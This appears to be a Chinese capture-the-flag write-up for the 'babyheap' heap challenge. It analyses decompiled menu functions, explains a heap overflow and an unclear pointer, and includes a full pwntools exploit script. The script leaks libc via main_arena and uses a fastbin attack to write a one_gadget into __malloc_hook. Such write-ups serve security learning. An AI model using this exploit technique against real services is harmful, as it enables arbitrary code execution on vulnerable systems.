babyheap_fastbin_attack

首先检查程序保护

保护全开。是一个选单系统

分析程序

void new()
{
int index; // [rsp+0h] [rbp-10h]
signed int size; // [rsp+4h] [rbp-Ch]
void *ptr; // [rsp+8h] [rbp-8h] for ( index = 0; index <= 63; ++index )
{
if ( !*((_DWORD *)&flag + 4 * index) )
{
size = read_0();
if ( size <= 0 || size > 1024 )
exit(1);
ptr = malloc(size);
if ( !ptr )
exit(1);
*((_DWORD *)&flag + 4 * index) = 1;
*((_DWORD *)&::size + 4 * index) = size;
::ptr[2 * index] = ptr;
edit_0(index, size);
return;
}
}
}

创建一个堆,将堆的信息(大小,是否使用,指针)存放在bss段中,并且将内容写入堆中

__int64 edit()
{
signed int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h] index = read_0();
if ( index < 0 || index > 63 )
exit(1);
if ( !*((_DWORD *)&flag + 4 * index) )
exit(1);
size = read_0();
if ( size <= 0 )
exit(1);
return edit_0(index, size);
}

修改长度为我们所控制,可以实现堆溢出。

ssize_t print()
{
int index; // [rsp+Ch] [rbp-4h] index = read_0();
if ( index < 0 || index > 63 )
exit(1);
if ( !*((_DWORD *)&flag + 4 * index) )
exit(1);
return write(1, (const void *)ptr[2 * index], *((signed int *)&size + 4 * index));
}

打印堆的内容,长度由一开始定义时决定

_QWORD *delete()
{
_QWORD *result; // rax
int index; // [rsp+Ch] [rbp-4h] index = read_0();
if ( index < 0 || index > 63 )
exit(1);
if ( !*((_DWORD *)&flag + 4 * index) )
exit(1);
free((void *)ptr[2 * index]);
*((_DWORD *)&flag + 4 * index) = 0;
*((_DWORD *)&size + 4 * index) = 0;
result = ptr;
ptr[2 * index] = 0LL;
return result;
}

删除堆,将标志位和size全部清0但是指针没有清0,可以达到再次利用的效果

有两处可以利用点。堆溢出和指针未清0。

保护全开,我们可以再malloc hook地址处写入one_gadget

不过首先我们要先泄露libc的基址,可以利用main_arena

当fastbin为空时,unsortedbin的fd和bk都指向自身main_arena。

先分配4个0x80堆块(最后一个堆块防止unlink),首先第一个堆块实现堆溢出,修改第二个堆块大小(第二个堆块和第三个堆块合并大小0x121),之后删除第二个堆块,再重新分配一个大小和第二个堆块一样大的堆(0x110)分配到了第二个堆块的位置,之后再删除第三个堆块变为(unsorted_bin)。通过打印第二个堆,泄露第三个堆的内容即main_arena附近的地址,但是其还要减去0x88,如下图所示

具体步骤如下

new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)#prevent unlink
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'\x00'+'\x00')-0x88
print hex(main_arena)
p.recvuntil('>> ')

拿到main_arena的地址之后,我们要在libc中找到main_arena的地址。将题目给我们的libc放入IDA64位中

寻找malloc_trim函数找到如下数组变为main_arena的地址

减去便可以得到libc的基址。

之后我们要再malloc hook地址写入one_gadget,利用最简单的fastbin_attack,伪造FD即可

fastbin_attack原理

在这之前先研究一下fastbin原理。当大小小于0x80的chunk被free时便会生成fastbin。

采用单链表形式处理,其中fd指向前一个大小相同的fastbin。再分配同样大小的chunk时fastbin会向从后向前取,而取的依据就是fd指针。示例代码入下:

当free全部结束后

malloc一个堆后链表头变为最后一个fastbin的fd,也就是前一个bin的地址,依次类推

运行这个例子发现的确是从后向前取的

因此我们可以推断是根据fd来决定malloc的地址,如果我们恶意的修改了fd指针那么就可以实现任意写。

首先我们分配两个fast chunk,第一个用来填unsortedbin,free第二个chunk,使其变为fastbin,栈溢出修改第二个chunk的fd指针指向malloc_hook附近的地址然后对其进行写入one_gadget。

我们查看一下malloc_hook附近的位置,开辟的位置加8要能够伪造大小相同的chunk,且至少要在0x7ffffdd1b00以上开辟,而在0x7ffff7dd1afd处开辟正好能够伪造chunk的大小位0x70。于是将伪造的fd指向此处

from pwn import *
#context.log_level='debug'
p=process('./babyheap')
#p=remote('152.136.18.34','9999')
def new(size,content):
p.recvuntil('>> ')
p.sendline('1')
p.sendline(str(size))
p.send(content)
def edit(index,size,content):
p.recvuntil('>> ')
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
def show(index):
p.recvuntil('>> ')
p.sendline('3')
p.sendline(str(index))
def dele(index):
p.recvuntil('>> ')
p.sendline('4')
p.sendline(str(index)) new(0x80,'a'*0x80)#0
new(0x80,'a'*0x80)#1
new(0x80,'a'*0x80)#2
new(0x80,'a'*0x80)#prevent unlink 3
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)#1
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'\x00'+'\x00')-88
print hex(main_arena)
libc_base=main_arena-0x3c4b20
print hex(libc_base)
malloc_hook=main_arena-0x10 fake_chunk=malloc_hook-0x10-0x3
one_gadget=libc_base+0x4526a
new(0x80,'b'*0x80)#2
new(0x60,'c'*0x60)#4
dele(4)
payload='a'*0x80+p64(0)+p64(0x71)+p64(fake_chunk)
edit(3,len(payload),payload)
print hex(fake_chunk)
payload=0x3*'a'+p64(one_gadget).ljust(0x60,'0')
new(0x60,'e'*0x60)
new(0x60,payload)
new(0x90,'a'*0x90)
p.interactive()

babyheap_fastbin_attack的更多相关文章

随机推荐

  1. 《Redis Mysql 双写一致性问题》

    一:序 - 最近在对数据做缓存时候,会涉及到如何保证 数据库/Redis 一致性问题. - 刚好今天来总结下 一致性问题 产生的问题,和可能存在的解决方案. 二:(更新策略)-  先更新数据库,后更新 ...

  2. BZOJ3791 作业(DP)

    题意: 给出一个长度为n的01序列: 你可以进行K次操作,操作有两种: 1.将一个区间的所有1作业写对,并且将0作业写错: 2.将一个区间的所有0作业写对,并且将1作业写错: 求K次操作后最多写对了多 ...

  3. mysql中sum与if,case when 结合使用

    1.sum与if结合使用 如图:数据表中,count_money 字段可为正,可为负.为正表示收入,负表示支出. 统计总收入,总支出. select sum(if(count_money > 0 ...

  4. scrapy爬取相似页面及回调爬取问题(以慕课网为例)

    以爬取慕课网数据为例   慕课网的数据很简单,就是通过get方式获取的 连接地址为https://www.imooc.com/course/list?page=2 根据page参数来分页  

  5. Java多线程系列——锁的那些事

    引入 Java提供了种类丰富的锁,每种锁因其特性的不同,在适当的场景下能够展现出非常高的效率. 下面先带大家来总体预览一下锁的分类图 java锁的具体实现类 1.乐观锁 VS 悲观锁 乐观锁与悲观锁是 ...

  6. ESP8266 智能家居简单实现

    本文转自CSDN,地址 https://blog.csdn.net/jsagacity/article/details/78531819 全文如下 : 前段时间,公司利用 ESP8266 这个WiFi ...

  7. docker 执行 docker system prune 导致Azure Devops build镜像失败

    运行docker的centos上, 只分配了16G的空间, 装了个mysql, 还有个rancher, 就只剩下2G的空间了, Azure Devops build镜像就出错了, 显示存储空间不足, ...

  8. 让table中的td不会被过长的文字撑开,并且自动出现省略号

    <style type="text/css"> table {width:600px;table-layout:fixed;} td {white-space:nowr ...

  9. NEST 根据id查询

    想要在NEST里根据id查询 GET /employee/employee/1 可使用Get方法 public IGetResponse<employee> GetDoc() { var ...

  10. 5_PHP数组_3_数组处理函数及其应用_1_快速创建数组的函数

    以下为学习孔祥盛主编的<PHP编程基础与实例教程>(第二版)所做的笔记. 一.快速创建数组的函数 1. range() 函数 程序: <?php $numbers = range(1 ...